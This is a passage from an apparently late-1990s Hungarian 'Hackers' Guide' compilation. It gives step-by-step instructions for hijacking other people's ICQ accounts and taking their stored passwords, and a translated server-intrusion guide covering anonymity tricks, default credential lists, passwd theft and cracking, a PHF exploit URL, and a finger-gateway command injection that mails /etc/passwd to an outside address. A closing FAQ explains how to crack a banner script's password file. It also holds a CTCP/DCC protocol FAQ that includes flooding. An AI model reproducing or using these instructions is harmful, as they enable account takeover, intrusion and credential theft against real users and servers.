"Version"=dword:00000009 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers] [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers\Server1] "Host"="icq1.mirabilis.com" "Port"=dword:00000fa0 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals] [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Canasta] "Type"="Command" "Command Line"="/ip:" "Path"="C:\\Program Files\\Canasta\\Canasta.exe" "URL"="http://ourworld.compuserve.com/homepages/mharte" "Version"=dword:0000000f [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Connectix VideoPhone] "Type"="Extension" "Format"="/p:tcp /ac:" "Extension"="cvp" "URL"="http://www.connectix.com/html/videophone.html" "Version"=dword:00000009 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Cu-Seeme] "Type"="Command" "Command Line"="" "Path"="C:\\CUSEEME\\CUSEEM32.EXE" "URL"="http://www.cu-seeme.com/" "Version"=dword:00000006 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\IRIS Phone] "Type"="Extension" "Format"="" "Extension"="iru" "URL"="http://irisphone.com/" "Version"=dword:0000000a [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat] "Type"="ServerExtension" "Format"="1.1\\n-u 1 -a " "Extension"="vce"

214

Hackers’ Guide

"NumParameters"=dword:00000002 "Server1"="vchat1.microsoft.com" "URL"="http://vchat1.microsoft.com" "Version"=dword:00000011 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat\Param1] "ParamName"="World" "CanOtherChange"="No" "Param1"="#Compass" "Param2"="#BugWorld" "Param3"="#Fishbowl" "Param4"="#Lodge" "Param5"="#Lunar" "Param6"="#Lodge" "Param7"="#Practice" "Param8"="#RedDen" "Param9"="#TableTop" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat\Param2] "ParamName"="Avatar" "CanOtherChange"="Yes" "Param1"="Amani" "Param2"="Anderson" "Param3"="Brb" "Param4"="Cat" "Param5"="Crab" "Param6"="Dancer" "Param7"="Dred" "Param8"="Duggan" "Param9"="Joey" "Param10"="Lulu" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Netscape CoolTalk] "Type"="Command" "Command Line"="" "Path"="C:\\Program Files\\Netscape\\Navigator\\CoolTalk\\CoolTalk.EXE" "URL"="http://home.netscape.com/comprod/products/navigator/version_3.0/communication/cooltalk/index.html" "Version"=dword:00000004 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Rikken on the Rockx] "Type"="ClientServer" "Client Command Line"="/CLIENT %i" "Server Command Line"="/SERVER" "Client Path"="C:\\Rikken\\Rikken.exe" "Server Path"="C:\\Rikken\\Rikken.exe"

215

Hackers’ Guide

"URL"="http://www.dse.nl/~ramon/rikken/" "Version"=dword:00000017 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VDOPhone] "Type"="Extension" "Format"="callto://" "Extension"="vdp" "URL"="http://www.vdo.net/download/" "Version"=dword:00000003 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VidCall] "Type"="Command" "Command Line"="" "Path"="C:\\VidCall\\Corp.EXE" "URL"="http://www.access.digex.net/~vidcall/vidcall.html" "Version"=dword:00000008 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\WebPhone] "Type"="Extension" "Format"="" "Extension"="wpc" "URL"="http://www.webphone.com/" "Version"=dword:00000007 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Quake] "Type"="ClientServer" "Client Command Line"="-mpath +connect %i" "Server Command Line"="-mpath -listen" "Client Path"="c:\\quake_sw\\Q95.bat" "Server Path"="c:\\quake_sw\\Q95.bat" "Server1"="quake.xmisson.com" "URL"="http://www.idsoftware.com" "Version"=dword:00000010 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat] "Type"="ServerCommand" "Format"="GROUPNAME=i PORT=15000" "Path"="C:\\Program Files\\VoxChat\\VoxChat.exe" "NumParameters"=dword:00000001 "Server1"="voxchat1.voxware.com" "Server2"="voxcha2.voxware.com" "URL"="http://www.voxchat.com/low/download.htm" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat\Param1]

216

Hackers’ Guide

"ParamName"="Room" "CanOtherChange"="No" "Param1"="#ICQ" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\PhoneLocations] "LastUpdate"=dword:00000000 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Main] "SelectedCell"=dword:00000000 "AlwaysOnTop"="Yes" "LeftBarWidth"=dword:000000ad "RightBarWidth"=dword:000000ad "FloatBar-Left"=dword:00000255 "FloatBar-Right"=dword:00000307 "FloatBar-Top"=dword:00000033 "FloatBar-Bottom"=dword:000001f3 "State"="Floating" "Minimized"="No" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Windows] "Response"=dword:008f00c9 "SearchWiz"=dword:006f00c0 "NotifyWiz"=dword:006f00c0 "posNovice"=dword:009300dc "posMOTD"=dword:00af00b7 "posMenuConfig"=dword:00a900e7 "RemoveUIN"=dword:00bb0108 "Message"=dword:008b004f "Security"=dword:007400b4 "Prefs"=dword:007f00ae "History"=dword:0096003a "File Request"=dword:009000f0 "FileTransfer"=dword:009700ae "Info"=dword:009300d2 "FetchUser"=dword:00e9010e "URL Message"=dword:00a00069 "Away"=dword:00bd00f7 "Chat Request"=dword:009f00dd "Contacts List"=dword:008300bd "Chat"=dword:008b00f5 "Phone"=dword:000a000a "Phone Call Request"=dword:007700e5 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Search] "Place"=dword:00a400cc "Type"=dword:00000002 "Width"=dword:01880188 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\ICQ Chat]

217

Hackers’ Guide

"ChatStyle Counter"=dword:00000003 "Pen Color"=dword:0080ffff "Back Color"=dword:00004000 "Send Focus"="Yes" "Enable Sounds"="Yes" "Name Bars"="Yes" "Always On Top"="No" "AutoColor"="No" "OverRide Format"="Yes" "Show Toolbar"="Yes" "State"=dword:00010000 "New Font Name"="Times New Roman" "Char Set"=dword:00000000 "IRCListWidth"=dword:00000006 "Font Pitch"=dword:00000012 "New Font Height"=dword:0000000e "Font Effects"=dword:00000000 "AutoColor 0"=dword:00000000 "AutoColor 1"=dword:00000080 "AutoColor 2"=dword:00008000 "AutoColor 3"=dword:00008080 "AutoColor 4"=dword:00800000 "AutoColor 5"=dword:00800080 "AutoColor 6"=dword:00808000 "AutoColor 7"=dword:00808080 "AutoColor 8"=dword:00c0c0c0 "AutoColor 9"=dword:000000ff "AutoColor 10"=dword:0000ff00 "AutoColor 11"=dword:0000ffff "AutoColor 12"=dword:00ff0000 "AutoColor 13"=dword:00ff00ff "AutoColor 14"=dword:00ffff00 "AutoColor 15"=dword:00ffffff "Place-Left"=dword:0000000a "Place-Right"=dword:000001fe "Place-Top"=dword:0000000a "Place-Bottom"=dword:0000021a "New LogFile name"="ICQChatLog.txt" "New SaveFile name"="ICQChatSave.txt" 4. Mentsd el a file-t HACKEDICQ.REG cimen! 5. Ha meg van nyitva ICQ-d zard be! 6. A korabban megszerzett fileokat masold bele az ICQ-d DB konyvtaraba (c:\progra~1\icq\db)! 7.Futtasad a HACKEDICQ.REG-et! 8. A kerdesre miszerint bekeruljon-e a registrybe a tartalma valaszolj Yes-t! 9. Futtasd az ICQ konyvtaradban levo DB konvertalo programot, (az ICQ99-el jar) es klikkelj a "Convert an old DB" -re! 10. Mikor kesz van, zard be a konvertert. Ilyenkor automatikusan elindul az ICQ. Ha nem inditsd el.

218

Hackers’ Guide

11. Ha nem rogton a feltort UINnal indul akkor valaszd az "Add/Change Current User"-t , aztan "Change Active User". Ird be a feltort UIN-t, ha ilyenkor kodot ker akkor ket dolog lehetseges: I. Magasra van allitva a biztonsagi szint, ilyenkor le kell toltened az ICQCRACK-et II. a Celpont felhasznalo hasznalja a szamot, ilyenkor meg kell varni mig lemegy. 12. Miutan sikeresem bent vagy az o UINjaval gyorsan valtoztasd meg a kodot. Ha ez megvan azt csinalsz a neveben amit akarsz. Kuldetes vegrehajtva. :) ICQ Exploit tippek ------------------ Egy mod, hogy eldontsd milyen verzioju Windowst hasznal az illeto, es meg egypar infot szerezz: Http://123.123.123.123/....../msdos.sys. Lattam az eredeti ICQ Exploit szovegben hogy a HTTP szerver EXploit nem mukodik NT alatt es kiprobaltam. AZ eredmeny hogy a rendszer nem volt "explioitalhato" . Tehat NT alatt 100% ig biztonsagosan hasznalhato a HTTP szerver.

LEON-T (forras: Shadow51)

************************************************************************************************ ICQ

Uj, rovid, de eleg erdekes dolgot talaltam! Rajottem hogy az ICQ99 egy szovegfileban tarolja a jelszavakat: icq\newdb\.dat Nyisd meg ezt egy notepaddal, keress ra a kododra! Mindig az "iUSERSound" sor vegen van.

LEON-T

************************************************************************************************ Re: ICQ99 jelszavak

Leon-t icq törését szeretném egy kicsikét modosítani.

219

Hackers’ Guide

>Uj, rovid, de eleg erdekes dolgot talaltam! Rajottem hogy az ICQ99 egy >szovegfileban tarolja a jelszavakat: icq\newdb\.dat Nyisd meg ezt egy >notepaddal, keress ra a kododra! Mindig az "iUSERSound" sor vegen van. Amit leirt, az így nem megy, mivel a jelszót nem annak a sornak a végén tárolja el, de a jelszó valóban a dat-fileban van. A megtalálása a következő. Nyissuk meg a saját dat fileunkat notepaddal (ezzel lehet a legjobban megtalálni) és keressünk rá a szaját jelszavunkra. A dat file végén találjuk meg email cimünk közelében. Nálam ez igy néz ki xzy...........mzoltan........xyz.....mail.battanet.hu Az első xzy az icq-s jelszó, a kövező a pop3 postafiók account, majd a mail jelszó és utána a pop3 kiszolgáló :) Amennyiben mégsem ez az eset áll fenn, akkor is megtalálható a jelszó, a mail közelében van 2-3 sorral lejebb v. fentebb. Zavaró a tényező alig van. Az imént szerzett jelszót rögtön le is lehet tesztelni. Állitsuk át a security-t high-ra, (elötte már Leon-t módszerével használjuk az hackelt uin-t) rögtön kéri jelszót. Ha nem jó akkor visszadobja és tovább nézhetjük a dat file-t. Sok sikert !

Piccolo A #diszko irc csatorna lapja: http://www.diszko.com

************************************************************************************************ CTCP-FAQ Az anyag fordítás, eredeti cím/szerzo: "CTCP and DCC Frequently Asked Questions" /LGM/ Minek a rövidítése a CTCP?

CTCP = Client To Client Protocol. Nem szabad összekeverni a CCCP-vel :)

Miért hívják Client To Client Protocol-nak?

Mert az IRC kliensed küldi és fogadja a csomagokat. Az IRC szerver semmit sem csinál a CTCP-vel. Ugyanúgy kezeli a CTCP üzeneteket is, mint bármilyen közönséges üzenetet, más parancsokkal ellentétben, mint amilyen például a /whois.

Hogyan muködik?

A CTCP csomagoknak két formájuk van: a COMMAND és a REPLY. A COMMAND a következoképpen néz ki:

PRIVMSG <címzett> :^A<parancs> <érték>^A

ahol ^A = ASCII 1-es karakter (Chr(1)) parancs = a megfelelo CTCP parancs

220

Hackers’ Guide

érték = az érték, amelyet a címzett értelmez címzett = a címzett nickneve.

És a REPLY pedig a következoképpen:

NOTICE <címzett> :^A<parancs> <érték>^A

ahol a szimbólumok ugyanazok, mint fent. Nézzünk egy példát! Megpingeljük a #magyar csatornát:

PRIVMSG #magyar :^APING 866780265^A

Ezt az üzenetet minden ember megkapja a #magyar csatornán, kivéve téged. Ezt fogják kapni:

:[email protected] PRIVMSG #magyar :^APING 866780265^A

Erre egy lehetséges ping-válasz a következo:

NOTICE LGM :^APING 866780265^A

Ezt a választ LGM a következoképpen kapja meg:

:[email protected] NOTICE LGM :^APING 866780265^A

Ezt LGM irc-kliensprogramja úgy értelmezi, mint egy PING választ, tehát fogja a 866780265-öt (timestamp) és kivonja a jelenlegi timestamp-ból, ezzel megkapja az üzenet elküldése és visszaérkezése között eltelt idot.

Melyek a gyakori CTCP parancsok?

CLIENTINFO, ACTION, DCC, ERRMSG, FACE, FINGER, PING, SOUND, SOURCE, TIME, USERINFO, VERSION és XDCC.

CLIENTINFO: kilistázza az ismert CTCP parancsokat, amelyeket a kliens ismer. ACTION: amikor azt írod, hogy /me egy hülye, akkor valójában ilyen típusú CTCP üzenetként küld el a kliensed. De a többi CTCP parancstól eltéroen erre nem kell REPLY-t adni. DCC: A DCC kapcsolatokat CTCP segítségével kezdeményezik. ERRMSG: ismeretlen CTCP parancsra adott válasz. FACE: egy 32x32 pixeles kép küldése a felhasználóról (Macintosh-os klienseknél) FINGER: Az idletime, emailcím és egy üzenet küldése. PING: A lag mérésére használatos, vagy a szerverek közötti ido mérésére. SOUND: A címzett lejátszik egy hangfájlt. SOURCE: Az URL, ahol a kliens/szkript letöltheto. TIME: a címzett helyi ideje. USERINFO: a felhasználó által beállított üzenetet küldi el a kliens. VERSION: a kliens verziószámával tér vissza.

Miért nem támogatja némelyik IRC kliens ezeket?

Mert a CTCP nincs benne az RFC1459-ben. Ennek ellenére majdnem mindegyik IRC kliens támogatja a CLIENTINFO használatát, amelyik megmutatja, hogy a kliens milyen parancsokat támogat.

221

Hackers’ Guide

Hogyan küldhetek CTCP parancsot?

/ctcp <címzett> <parancs> ezt majdnem minden IRC kliens támogatja. Ahol nem muködik, ott talán külön parancs van mindegyikre, pl. /version <címzett> vagy /ping <címzett> stb. A /ping különben általában minden kliensben muködik.

Mi a CTCP flood?

Amikor valaki sok CTCP-t küld, ezáltal rábírja a kliensedet hogy túl sok adatot küldjön vissza, és az IRC szerver lebontsa a kapcsolatodat.

Hogyan muködik a CTCP flood?

Sok szerver úgy van beállítva, hogy több adatot fogadhatsz egy idoegységen belül, mint amennyit küldhetsz. Például a CLIENTINFO használható a floodolásra. A parancs, amellyel a kliensedet rá lehet bírni a CLIENTINFO válaszra, kb. 12 karakter, plusz a feladó/címzett adatai, ezzel szemben a CLIENTINFO válasz 100-200 karakter is lehet. "Excess Flood" hibaüzenettel fogsz kiesni.

Mi a DCC?

A DCC egy speciális CTCP paranccsal indul. Miután elindult, teljesen függetlenné válik a szervertol. Vegyünk egy példát: ahhoz, hogy egy DCC chat kapcsolatot kezdeményezzünk, a kezdeményezo fél (aki beírta, hogy /dcc chat <nicknév>) valami ilyesmit fog elküldeni:

PRIVMSG <címzett> :^ADCC CHAT <típus> <hosszúIP> <port>^A

^A = Chr(1) típus = vagy "CHAT" vagy pedig "TALK", de manapság már szinte kizárólag csak "CHAT" longIP = a feladó IP címe long-ba konvertálva (pl. a.b.c.d = a * 256^3 + b * 256^2 + c * 256 + d) port = a feladó portja, amelyen fogadja majd a kapcsolatot

A fogadó oldal ezt az üzenetet fogja kapni:

:[email protected] PRIVMSG SomeOne :^ADCC CHAT CHAT 3406736986 2094^A

Ebbol az o IRC kliense tudja, hogy a 3406736986 (=203.14.174.90) IP címen levo számítógép kész egy DCC chat hívást fogadni a 2094-es porton. Ekkor egy TCP kapcsolatot kezdeményez a kezdeményezo 2094-es portjára, ha a felhasználó engedélyezi.

A DCC fájlküldés hasonló módon muködik, csak némileg tér el a formátum:

PRIVMSG <címzett> : ^ADCC SEND <fájlnév> <hosszúIP> <port> <fájlméret>^A

^A = Chr(1) fájlnév = a fájl neve, ami át lesz küldve longIP = a feladó IP címe long-ba konvertálva (pl. a.b.c.d = a * 256^3 + b * 256^2 + c * 256 + d)

222

Hackers’ Guide

port = a feladó portja, amelyen fogadja majd a kapcsolatot fájlméret = a fájl mérete, amely át lesz küldve

A fogadó valami ilyesmit fog kapni:

:[email protected] PRIVMSG Someone :^ADCC SEND hello.jpg 3406736986 2097 4509^A

Ebbol az látszik, hogy 3406736986 kész a 2097-es porton fogadni a csatlakozásunkat, és elküldeni a hello.jpg fájlt, amelynek mérete 4509 byte.

További információ (az eredeti RFC-k) található itt:Documents Project,DCC RFC,CTCP RFC ************************************************************************************************

Web A site feltörés

az 1ik legnagyobb érdeklõdést felkeltõ dolog. Pár szóban errõl nem lehet írni és nem is ajánlatos, ha az ember azt akarja, hogy ne legyen letõrõlve. De azt gondolom, mégis valamilyen szinten foglalkozni kell vele. Ezért tettem ki ide ezt a prgt amihez semmi magyar nyelvû doksit nem adok, ugyanis ha komolyan érdekel a dolog, akkor ugyis tudsz angolul(ez csak 1 nagyon kis rész ennek a témának). Itt van az update a másodikhoz (95/NT).

Többször is átgondoltam, hogy ezt kitegyem-e ide, de aztán gyõztetek...

Ez a kalaúz egy Béta verzió, és az abszolút alapoknál kezdodik - lépésrol lépésre. Ha szeretnéd, megpróbálom még kiegészíteni részekkel, vagy te is készíthetsz kiegészítoket, amiket hozzáadok.

A Kezdetek

Egy kis háttértudásra van szükség a hackelés megkezdése elott. Amikor ,Hackelésrol' beszélünk, arról van szó, hogy olyan elérést szerzünk az adott szerverre amilyen nekünk nem lehetne. A szervekeket több ember kiszolgálására kíszítik. Ezeknek az embereknek különbözo szintu eléréseik vannak - például a saját könyvtáraihoz csak o férhet hozzá. Ha mondjuk Gipsz Jakab kap egy elérést egy szerverre, akkor két dolgot adnak neki:

1. egy loginnevet, ami álltalában megegyezik a home könytára nevével 2. egy jelszót, amivel azonosítja, hogy tényleg o az elérés tulajdonosa

223

Hackers’ Guide

Ez a loginnév és jelszó páros ad elérést Jakab szolgáltatásaihoz - levelezéséhez vagy a honlapjájoz. Ezekmelett az accountok melett létezik egy ún. ,root' elérés, melynek szintén van egy loginneve és jelszava. Ez az elérés ad extra - felhasználói jogokat. Ez a HOWTO arról szól, hogyan szerezzünk ilyen root jogokat.

A hackelés anatómiája

Két lehetoség van arra, hogy feltörjünk egy rendszert. Kicsit vonatkoztassunk el a számítástechnikától, mondjuk vegyünk szervernek egy svájci bank széfjét. Két lehetoség van a bejutásra. Megpróbálhatjuk megszerezni a széf kombinációját, ez olyan mint amikor kitalálsz egy jelszót. A másik út a dinamit használata, ez pedig olyan mint amikor kihasználjuk a rendszer gyengeségeit, hibáit ún. exploitok segítségével.

Nehogy rászedjenek!!!

A hackelés illegális, és nagyon könnyen megtalálhatnak. Akárhova is mész , az IP címedet (az internetes gépek egyedi azonosítója) otthagyod és azt álltalában loggolják is. Megoldás:

1. Ha veszel egy elérést adjál meg hamis címet és nevet. Vagy, még jobb, ha egy anonymous, ingyenes internet elérést szerzel, például az anonymizer.com - on. (megj.: magyaroknál ez nem igazán jön be!:) ).

2. A hackelésnél álltalában lopott eléréseket használunk (pl. lopott vagy cserélt jelszó). Ezeknek a megszerzésére van egy eszköz (gyakorlatilag egy wines keylogger) a Dripper.

3. Rejtsd el a kapcsolatod!

Az egyik megoldás erre a proxyk használata. Ezeknek segítségével úgy szörfözhetsz, IRC - hetsz, hogy az eredit IP címedet nem látják. Proxy listát innen szedhetsz le. Ha még biztonságosabban akarsz szörfözni akkor használj IP elrejto appleteket.

INFORMÁCIÓ GYÜJTÉS

Az indulás elott össze kell gyujteni minnél több információt a szerverrol (mondjuk a www.acme.net - et szeretnénk megtörni). Eloször is fontos, hogy rejtozködve kell mindent csinálni. Nyissál megegy böngészot (az anonymous böngészon keresztül). Hozd be a www.acme.net honlapját.

1. Eloszor is nézd át az oldalt, másold le a html forrását, a mail címeket, ilyesmi.

Most használjuk a jó öreg visszaugró levél trükköt.

2. Küldj egy levelet, ami majd vissza fog ugrani az oldalról. Ha ez a szerver a www.acme.net, akkor [email protected] - nek címezd. Ezt vissza fogja dobni a szerver (mivel nincs ilyen felhasználó), és külöbözo információkat ad a fejlécében)

Másold le ezeket a fejlécbol a késobbiekben még jól jöhet!

224

Hackers’ Guide

(A teljes anonymitás érdekében ingyenes levelezési rendszert használj az ilyen töréseknél, mint például a hotmail.com)

TRACEROUTE

3. Ezután trace routold az acme.net - et. Egy ilyen trace routert találhatsz a privát részben (windows alatt tracert parancs, linux alatt traceroute). Ebbol megtudhatod a szerver szolgáltatóját.

4. A whoist is kérd le. Ez információkat adhat a szerver tulajdonosáról és a szerver típusáról. Írd le! A whois a privát részben elérheto.

FINGER

5. Fingereld meg az oldalt. Eloszor is a "finger @ acme.net" - et próbáld. Elofordulhat, hogy ebbol felhasználó neveket tudhatsz meg. Ha ez nem muködik akkor az oldalon talált mail címeket próbáld végig (pl. [email protected]). Ezzel is fontos indormációkat nyerhetsz.

A VÉGZETES PORTSCAN

5. Portscanneld le az oldalt.

A Port scan a megadott IP cím nyitott portjait adja meg. Ez nagyon jó dolog, de egyben veszélyes is, mert egy jól beállított szerver ezt mind loggolja + jelez a rootnak, hogy valaki be akar törni a rendszerbe. Igazából nincs sok lehetoség egy portscan elrejtésére, de léteznek biztonságosabb fajták is, többségük linux / unix alá. Windows alatt a legjobb az Exploit Generátor nevú program. Mindenesetre, ha egy nagyon biztonságos oldalt akarsz feltörni felejtsd el a portscannelést amíg nincs linuxod.

A portscanbol megtudhatod milyen szolgáltatások futnak a rendszeren. Ha például a 21 - es port nyitva vanaz azt jelenti, hogy FTP szolgáltatás fut (22 - SSH, 23 - telnet, 25 - stmpd).

TELNETELÉS

A telnet segítségével megtudhatod, milyen a szerver típusa. Ehhez proxy mögül használd az anonymous telnet appletet.

Telnetelj be a 23 - as portra (www.acme.net esetén acme.net a host). Ha ez nem megy próbáld meg a telnet.acme.net - et, és az összes name servert, ami a whois listában volt. Ha sikerül a telnet jegyezd fel mindent amit kiír, mert ebbol megtudhatod ami neked kell!

Ha ez nem muködik próbálj meg a 21 - as portra telnetelni. Ha ez muködik írd be SYST, hogy kiírja a szerver típusát.

Ha ez sem megy még próbálkozz a 80 -as porttal (HTTPD), innen is fontos infókat nyerhetsz ki. Végül léteznek olyan lamer programok, amik megpróbálják kitalálni a szerver típusát, de ha nekünk manuálisan nem sikerült, elég kicsi az esély.

TÖRÉS A JELSZAVAK SEGÍTSÉGÉVEL

225

Hackers’ Guide

Most megpróbálhatunk besétálni a szerver bejárati ajtaján. Ahogy a hackelés anatómiája részben említettük, megpróbáljuk megkeresni a széf kombinációját.

Könnyen lebukhatsz ha kapásból nekiesel exploitokkal, IP spoofolással vagy egyéb durvábbnak számító módszerrel törni a szervert. Lássuk mit kaphatunk a következo ötlet kihasználásával:

$Login: root $Password: root

Ennek a párosításnak elég kicsi az esélye, viszont a felhasználók sok - sok százalékának (lásd Elender jelszavak) login nevei gyakran megegyeznek a jelszavaikkal, emelett a unixban léteznek olyan alapljelszavak, amiket nem változtatnak meg. Telneteljünk be az acme.net - re. Ne a saját gépedrol telnetelj, rejtozködj!!!

Próbáld ki a következo párosításokat:

(login) root: (password)root sys: sys / system / bin bin: sys / bin mountfsys: mountfsys adm: adm uucp: uucp nuucp: anon anon: anon user: user games: games install: install demo: demo umountfsys: umountfsys sync: sync admin: admin guest: guest daemon: daemon

A root, mountfsys, umountfsys, install, és néha a sync root szintu elérések. A többi login csak felhasználói szintu jogokkal rendelkezik, és csak a saját fájljai és proceduráji felett van ,,hatalma''.

A LOGIN NEVEK FELHASZNÁLÁSA

A legegyszerub dolog. Azokkal a login nevekkel is amiket nemréh nyertél vissza, eléréshez juthatsz a szerveren úgy, hogy kipróbálod azt, hogy nem egyenlo - e a loginnévvel a jelszó! (20 - ból egyszer bejön). A Finger adatokban nemritkán szerepel a felhasználó teljes neve, lakcíme, stb... Ezeket is érdemes jelszóként kipróbálni!

A PASSWD FÁJL MEGSZERZÉSE

Ha mindez nem sikerült volna, akkor már csak egy lehetoség van. Gondolom már te is elgondolkodtál azon, hogy a unix, hogyan ellenorzi, hogy megfelelo jelszót használtál - e a belépésre. A válasz egyszeru. Létezik egy 'passwd' nevu fájl, amelyben kódolva ott van minden jelszó (az újabb rendszerek nem a passwd - ben

226

Hackers’ Guide

tárolják a jelszót, hanem egy shadow nevu fájlban, amibe viszont csak a root tud belenézni!!!). Szóval ha van anonymous ftp szolgáltatás, akkor lépjünk be a szerverre és töltsük le a /etc könyvtárból.

A PASSWD VISSZAFEJTÉSE

Ha belenézel a passwd fájlba, és szerencséd van, valami ilyesmit fogsz látni

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh kangaroo:3A62i9qr:1012:10:Hisaharu

Ezekszerint a rendszerben van egy kangaroo loginnevu felhasználó, és a titkosított jelszava '3A62i9qr'.

Van néhány program, amit azért készítettek, hogy ilyen titkosított jelszavakat titkosítson vissza. Az egyik leghíresebb a mind unixos, mind Windowsos platformra elkészített 'John the Ripper', melyet nagyon egyszeru használni. Kétféle módszert lehet használni a visszafejtésnél. Az egyik az un. 'brute force' módszer, melynél a program minden lehetoséget végigpróbál (eléggé lassú, bár a john alapból álltalános párosításokat próbál végig!!), másik a szólista használata. Ez a módszer gyorsabb, hiszen minden felhasználónévhez csak a szólistában megadott szavakat próbálja végig.

Ha nincs szerencséd, akkor ilyesmit tartalmaz a passwd.

root:*:0:1:Operator:/:/bin/csh admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh

Ebben az esetben bizony a shadow módszerrel van titkosítva a jelszó, a már elobb említett shadow fájlban, amit viszont nem tudunk ftp - vel letölteni.

A RÉGI PHF MÓDSZER

Bár ez a módszer már csak a régi szervereknél muködik, de ki tudja, talán szerencsével járhatunk. A HekInfo Privátban megtalálható anonymous böngészobe írjuk be a következo sort:

http://www. acme.net /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd.

Ha a PHF aktív (ritka), akkor a böngészo ablakában megjelenik az acme.net passwd fálja. Csak kimásolod egy fájlba, és már mehet is a törés!

Ha a következo szavakat látod: 'Smile! You're on Candid Camera' azt jelenti, hogy a szerver loggolta az IP - d, de ne aggódj, mert amíg az anonymizert használod, biztonságban vagy!

FINGER DOBOZ TÖRÉS

A Finger szerver a hacker jó barátja! Nézzük meg, hogy az acme.net - nek van - e finger szervere. Az anonymous böngészobe írd be: (www).acme.net/cgi-bin/finger.

227

Hackers’ Guide

Ha a finger gateway nyitva van, egy doboz jelenik meg, ahová annak a nevét kellene beírni, akit meg szeretnél fingerelni.

1/ Vedd elo azt a listát, amiben a loginnevek/email címek vannak ([email protected] esetén kangoroo a loginnév).

2/ Menj vissza a finger dobozhoz, és írd be a következot (az email címeket cseréld ki a megfelelore!):

kangaroo@ acme.net ; /bin/mail [email protected] < etc/passwd

Ez elküldi a jelszófájlt a [email protected] címre és mostmár csak fel kell törnöd.

Az eredeti mu eddig tart. Ha az itt felsorolt technikák segítségével nem jutottál be a szerverre, akkor próbálkozz máshol.

Készítette Overlord, 1998 Júniusában. A dokumentum legfrisebb verzióját a www.cyberarmy.com - on mindig elérheto.

Fordította Petycomp ************************************************************************************************ Web-Hack F.A.Q. Tartalom: 1.Bevezeto 2.Problema 3.Vuln. szerver keresese... 4.Jelszo tores 5.Banner modifikaciok 6.Javaslatok 7.Jelentkezo hibak 8.a.Koszonet 8.b.Greetz 1. Bevezeto A "Banner rotating 01" egy inngyenes cgi script, amit sok site-rol le lehte tolteni, pl. a HotArea-rol is. (http://www.hotarea.net/web/scripts/banner01/). A scriptet bannerok kimutatasara, banner-klikkelesek loggolasara, es hasonlokra lehet hasznalni. A script megkoveteli, hogy a szerer tamogassa az SSI-t (Server Side Includes). 2. Problema

228

Hackers’ Guide

Az adpassowrd.txt alapbeallitasban world readable. Ez megengedi a tamadonak, hogy kiolvassa a fajlbol a DES algoritmussal kodolt jelszot, amit fel bir torni, pl. a Cracker Jackel, vagy John The Ripper-el, es ezaltal editalni, kitorolni, hozzadni bir banner-okat... 3. Vuln. szerver keresese... Vuln. szervereket legkonyebben altavista-val lehet talalni. Beirod, hogy: "url:adpassword.txt", termeszetessen idozojelek nelkul. Ez kiad egy 50-60 site-ot... Letoltod az adpassword.txt-t. Masik modszer nem igazan alkalmazhato, mert valtozo hogy a script melyik konyvtarban van... 4. Jelszo tores Az adpassword.txt-bol kimasolod az elkodolt jelszot, es csinalsz egy file-t, ami ugy nez ki, mint egy standard unix passwd file. Pl.: A:aae2tj0zB0MKg:1229:20:Formater,:/usr/people/Formater:/bin/csh B:aakWzvhlTKgRA:1229:20:Formater,:/usr/people/Formater:/bin/csh C:aaSy1k4abaxrE:1229:20:Formater,:/usr/people/Formater:/bin/csh Ide kerul az amit kiolvastal az adpassword.txt-bol. Ezutan elobb megprobalhatod dictionary attack-el, majd brute force-al. 5. Banner modifikaciok Miutan megvan a jelszo, akkor meg kell keresned, hogy milyen "banner account"-ok vannak.... Ezt ugy birod, hogy megnezed annak a konyvtarnak a tartalmat ahol talaltad az adpassword.txt-t. Pl. a www.stage-1.com/locator_ads/adpassword.txt eseteben, a bongeszodbe beirod hogy www.stage-1.com/locator_ads/ . Olyan fajlokat kell hogy keressel, amibol van fajlnev.txt, fajnev.log ... Tehat ami a fajlnev, az a "banner account". Ezek utan meg meg kell keresned azt a cgi script-et, amivel a banner-okat valtoztatni birod. Ennek a neve vagy admin.cgi vagy ads_admin.cgi. Ezeket a fajlokat vagy ugyan abban a konyvtarban talalod ahol az adpassword.txt-t, vagy a 